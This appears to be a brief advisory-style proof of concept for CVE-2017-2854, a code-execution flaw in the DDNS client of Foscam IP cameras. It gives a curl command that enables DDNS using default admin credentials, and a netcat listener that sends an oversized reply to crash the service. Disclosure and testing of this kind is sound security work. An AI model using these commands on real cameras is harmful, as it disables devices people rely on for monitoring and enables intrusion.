Foscam IP Video Camera webService oray.com DDNS Client Code Execution Vulnerability(CVE-2017-2854)

                                                Prerequisite for this attack is that the device is setup to use the DDNS number 1. For this, the following query can be used:
```
$ sUsr="admin"
$ sPwd=""
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}
&cmd=setDDNSConfig&isEnable=1&hostName=x&ddnsServer=1&user=x&password=x"
```
To trigger the vulnerability, an attacker needs to be able to intercept the device's HTTP requests and answer with a malicious payload. The following command will make the service crash.
```
$ sudo nc -l -p 80 <<< $( python2 -c 'print "200 OK Current IP Address:"+"A"*900+"<"' )
```